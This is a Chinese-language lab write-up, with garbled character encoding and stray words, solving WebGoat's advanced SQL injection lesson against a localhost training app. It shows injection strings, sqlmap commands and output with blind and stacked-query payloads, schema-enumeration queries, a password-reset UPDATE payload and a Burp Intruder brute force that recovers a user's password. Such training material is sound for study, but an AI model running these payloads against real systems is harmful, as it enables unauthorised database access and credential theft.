WebGoat SQL盲注 解题思路php
★ 题目:SQL Injection (advanced)
地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4java
题目要求最终以Tom的身份登陆到系统中。python
LOGIN界面:git
REGISTER界面:web
★ 什么是SQL盲注?
这是我本身的理解,不必定准确,仅供参考。
SQL盲注的意思是,注入数据到SQL语句中,服务器不会返回数据库里的详细信息,只会给出 true或false的信息,或者给出延时的信息(注入的sleep(10)起做用了)。
因此,咱们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象同样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢造成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。sql
权威的对SQL盲注的解释,能够参考:数据库
WebGoat中对 SQL盲注的说明:
Blind SQL Injection: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/3c#
OWASP对Blind SQL Injection的说明: https://www.owasp.org/index.php/Blind_SQL_Injection浏览器
★ SQL盲注的思路
以我本身的理解,有两种思路。一种思路是,先获取数据库中表的名字,而后获取表中每一列的列名,而后获取表中的数据。另外一种思路是,直接猜表中的列名,而后获取表中的数据。第一种思路是稳妥的,复杂的,须要不少次SQL查询。第二种有些碰运气了,运气好能够很快猜中列名,运气很差(例如列名中带有随机值password_1ey2d),那猜中的几率是极低的。服务器
对于WebGoat这道题,有人是经过直接猜列名来解题的,连接在这里,该文做者直接试列名’password’,发现没有报错,说明列名没有错误,而后经过暴力破解的方式解决此题。
下面开始解题。
★ 判断注入的点在哪里
有2个界面:LOGIN和REGISTER。
LOGIN界面中有个能够输入的值:Username和Password。
REGISTER界面有4个能够输入的值: Username、Email、Password和Confirm Password。
分别对每个输入值进行尝试。
固然,用 sqlmap 进行探测SQL注入的位置更高效一些。
♦ 对LOGIN界面的尝试
Username输入 hello' or 1=1 --,Password输入任意值。无效。
同理,对Password的几回尝试也都无效。
经过Burpsuite的Proxy能够知道,采用sleep(10)会报错,由于HSQLDB中不支持这个函数。
♦ 对REGISTER界面的尝试
先注册一个新用户,用户信息以下:
Username输入 hello。
Email地址随意,例如aaa@bbb.cccc
Password和Confirm Password都输入 1。
点击『Register Now』以后,界面提示『User hello created, please proceed to the login page.』。说明注册成功。
而后,分别尝试用户名:hello' or 1=1 --,hello' or 1=2 --,hello' and 1=1 -- 和 hello' and 1=2 --
其余信息:Email地址随意,例如aaa@bbb.cccc。Password和Confirm Password都输入 1。
结果以下:
用户名 结果
hello' or 1=1 -- User hello’ or 1=1 – already exists please try to register with a different username.
这说明存在SQL注入,由于若是不存在SQL注入,用户名hello' or 1=1 --是不存在的,不该该提示『已存在』。说明hello' or 1=1 --SQL语句被解析了。变成了必定要查询数据(where true),即便查询出来的不是hello用户。
hello' or 1=2 -- User hello’ or 1=2 – already exists please try to register with a different username.
说明存在SQL注入,不然用户名为hello' or 1=2 --的用户是不存在的。这也说明此时查询的就是刚刚注册的hello用户。
hello' and 1=1 -- User hello’ and 1=1 – already exists please try to register with a different username.
说明存在SQL注入,不然用户名为hello' and 1=1 --的用户是不存在的。这也说明此时查询的就是刚刚注册的hello用户。
hello' and 1=2 -- User hello’ and 1=2 – created, please proceed to the login page.
若是单从这一条来讲,是不能肯定是否存在SQL注入的,由于有两种可能性。
可能1: 用户名为hello' and 1=2 --的用户确实不存在,因此能够注册。
可能2:and 1=2起做用了,它的结果是false,对于select * from xxx_table where false来讲,是始终不会查询到数据的。因此能够注册。
经过对四种状况的分析,能够得出结论: REGISTER界面的Username存在SQL注入。因为只存在两种返回结果,没有其余多余的信息,因此是SQL盲注。
咱们能利用的就是这两种返回信息,来作布尔判断(true/false)。
信息1:User xxx already exists please try to register with a different username.
信息2:User xxx created, please proceed to the login page.
♦ 用 sqlmap 确认SQL注入的位置
使用 sqlmap 以前,须要确认几个数据:
--cookie;cookie信息是什么?
-u: url是什么
--data:HTTP请求的body是什么?
经过Burpsuite的Proxy工具能够截获http请求,例如,拿到的http数据多是这样的:
PUT /WebGoat/SqlInjection/challenge HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 78
Accept: */*
Origin: http://127.0.0.1:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72
Connection: close
username_reg=tom&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cookie的信息:Cookie: JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72
url:http://127.0.0.1:8080/WebGoat/SqlInjection/challenge
body信息:username_reg=tom&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1
有了这3个信息,构造sqlmap的命令参数,以下:
C:\Python27>python.exe H:\git\sqlmap-dev\sqlmap.py --cookie "JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72" -u http://127.0.0.1:8080/WebGoat/SqlInjection/challenge --data "username_reg=tom1&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1"
1
执行sqlmap,第一次执行sqlmap获得的结果不少,再执行一次,获得的关键信息以下:
C:\Python27>python.exe H:\git\sqlmap-dev\sqlmap.py --cookie "JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72" -u http://127.0.0.1:8080/WebGoat/SqlInjection/challeng
e --data "username_reg=tom1&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1" --method "PUT"
___
__H__
___ ___[']_____ ___ ___ {1.2.9.17#dev}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:22:59
[17:23:00] [INFO] resuming back-end DBMS 'hsqldb'
[17:23:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username_reg (PUT) (注:SQL注入的位置,是username_reg,注册时的用户名)
Type: boolean-based blind (注:存在基于布尔值的盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username_reg=tom1' AND 263password88=2688 AND 'qNhV'='qNhV&email_reg=aaa@bbb.ccc&password_reg=1&confirm_password_reg=1
Type: stacked queries (注:存在堆叠查询的问题)
Title: HSQLDB >= 1.7.2 stacked queries (heavy query - comment)
Payload: username_reg=tom1';CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR(9762),0),500000000),NULL)--&email_reg=aaa@bbb.ccc&password_reg=1&confirm_password_reg=1
Type: AND/OR time-based blind (注:存在基于时间的盲注)
Title: HSQLDB > 2.0 AND time-based blind (heavy query)
Payload: username_reg=tom1' AND CHAR(121)||CHAR(117)||CHAR(79)||CHAR(68)=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY(CHAR(65)||CHAR(69)||CHAR(83),NULL),0),500000
000),NULL) AND 'hRZB'='hRZB&email_reg=aaa@bbb.ccc&password_reg=1&confirm_password_reg=1
---
[17:23:00] [INFO] the back-end DBMS is HSQLDB
back-end DBMS: HSQLDB >= 1.7.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
由 sqlmap 工具能够很快获得SQL注入的位置,是username_reg,即注册时的用户名。
♦ 确认Tom在数据库中的名字
还有一个信息须要确认,即Tom在数据库中的名字是什么?
注册一个名为『Tom』、『tom』或者『TOM』的人试试,便可。试的结果以下:
注册名为『Tom』的人,显示 『User Tom created, please proceed to the login page.』,而注册名为『tom』的人,显示『User tom already exists please try to register with a different username.』。因此,Tom在数据库中的名字为『tom』。
★ 如何以Tom的身份登陆?
有2种可能性:
可能1:篡改Tom的密码
须要作的是,找到Tom所在表名,再找到Tom的密码的列名,而后经过堆叠查询(stacked queries)来修改Tom的密码。注入的数据是这样的:hello'; update XXX_TABLE set PASSWORD_COLUMN = '123456'; --,而后以用户名tom和密码123456登陆便可。
这种状况一般是这样处理的:
(1) 遍历表名:select table_name from information_schema.tables where id=1,id要遍历全部可能的值,例如id取值1到20,尝试20个表。或者,采用limit offset, count来分别获取每个表的名字。
(2) 获取某个表名的每一位字符是什么:substring((select table_name from information_schema.tables where id=1), 1,1)='a',判断表名中第一个字符是否是字符a,是否是b,是否是c,以此类推。而后接着判断表名的第二个字符是否是a,是否是b,等等。最终获得表名的每一位。
(3) 而后获取表中的列名:select column_name from information_schema.columns where table_name='刚刚获取的表名' limit 0,1。每次只获取一个列名,获取下一个列名:limit 1,1,limit 2,1,以此类推。
(4) 获取列名的每一位字符是什么:substring((select column_name from information_schema.columns where table_name='刚刚获取的表名' limit 0,1),1,1)='a',判断列名第一个字符是否是a,而后判断方法跟判断表名是同样的。纯粹的暴力破解。
(5) 获得表名和列名以后,就能够篡改tom的密码了。
惋惜的是,对于此题,我没有获取到表名,我把获取不到表名的问题提交到overflow上,目前没人解答。因此,目前此路不通。
须要注意的是:substring获取字符时,从下标1开始,即substring(xxx,1,1), substring(xxx,2,1)
可能2:暴力破解Tom的密码
须要作的是,先猜出Tom的密码的列名,而后经过暴力破解的方式获取tom的密码。此种方式能够不用获取表名。我采用的是这种方式。
★ 猜tom密码在表中的列名
这个过程全看运气,假设咱们运气好,先猜password。
猜列名,可使用:tom' or password='12345,结果没有报错,说明列名password是正确的(注意:不是说password的值是12345)。
若是使用tom' or password2='12345,则浏览器貌似没有反应,经过Burpsuite的Proxy中的HTTP history,能够看到『java.sql.SQLSyntaxErrorException』的异常,缘由是『user lacks privilege or object not found: PASSWORD2』,说明不存在 password2 这列。
猜中列名为password以后,就要进一步确认tom的密码了,这以后就不是瞎猜了,而是暴力破解。
★ 选取注入的数据
再次说明,咱们能利用的就是这两种返回信息,来作布尔判断(true/false)。
信息1:User xxx already exists please try to register with a different username.
信息2:User xxx created, please proceed to the login page.
能够采用的注入数据:tom' and true -- 和tom' and false --。
对于tom' and true --,必定会返回『User xxx already exists please try to register with a different username.』。
对于tom' and false --,至关于where false,因此必定查询不到,必定会返回『User xxx created, please proceed to the login page』。
咱们将true/false替换为合法的SQL语句:
substring(password,1,1)='a',这是判断password的第一位是否是字符a,其结果是true/false。
咱们也能够不用 tom' and true -- 这里面的注释--,完整的注入数据为:
tom' and substring(password,1,1)='a
若是返回的结果是『User xxx already exists』,那么说明substring(password,m,1)='x表达式为true,即,password的第m位是x(x表示某个字符),以此来判断password的每一位。
经过改变substring的第2个参数(password的下标)和后面的字符a(能够是a到z,A到Z,等等),遍历password的每一位,从而获取整个password的值。这个过程能够用Burpsuite的Intruder工具来完成。
★ 用Burpsuite的Intruder暴力破解密码
设置如图:
其中payload1是password的下标,取值从1到20(我第一次尝试是20,不过没有获取密码的全部位,以后又取了21到25,为的是尽量的减小HTPP请求的数量。)。
payload2是可能的字符,取值:a到z,A到Z,0到9,等等。对于此题来讲,取值a到z就够了(偷看了webgoat的源代码)。
payload1取值范围1到20,payload2取值范围a到z:26种可能。一共是520种可能(20*26=520)。
以后又将payload1的取值范围设置为21到25,又增长了130种可能(5*26=130)。
找到全部结果是『User xxx already exists』的response,其实经过对response的大小进行排序就能够了。
Password前20位的内容以下:(若是把comments列加上注释,就能够只筛出有效的http请求,从而对payload1排序就能够更清楚找到密码。)
thisisasecretfortomo
Password的后3位为:nly
注:为了减小HTTP请求,payload2的取值范围改成21到24了。
tom的完整的密码是:thisisasecretfortomonly,而后就能够以tom的身份登陆了。Congratulations!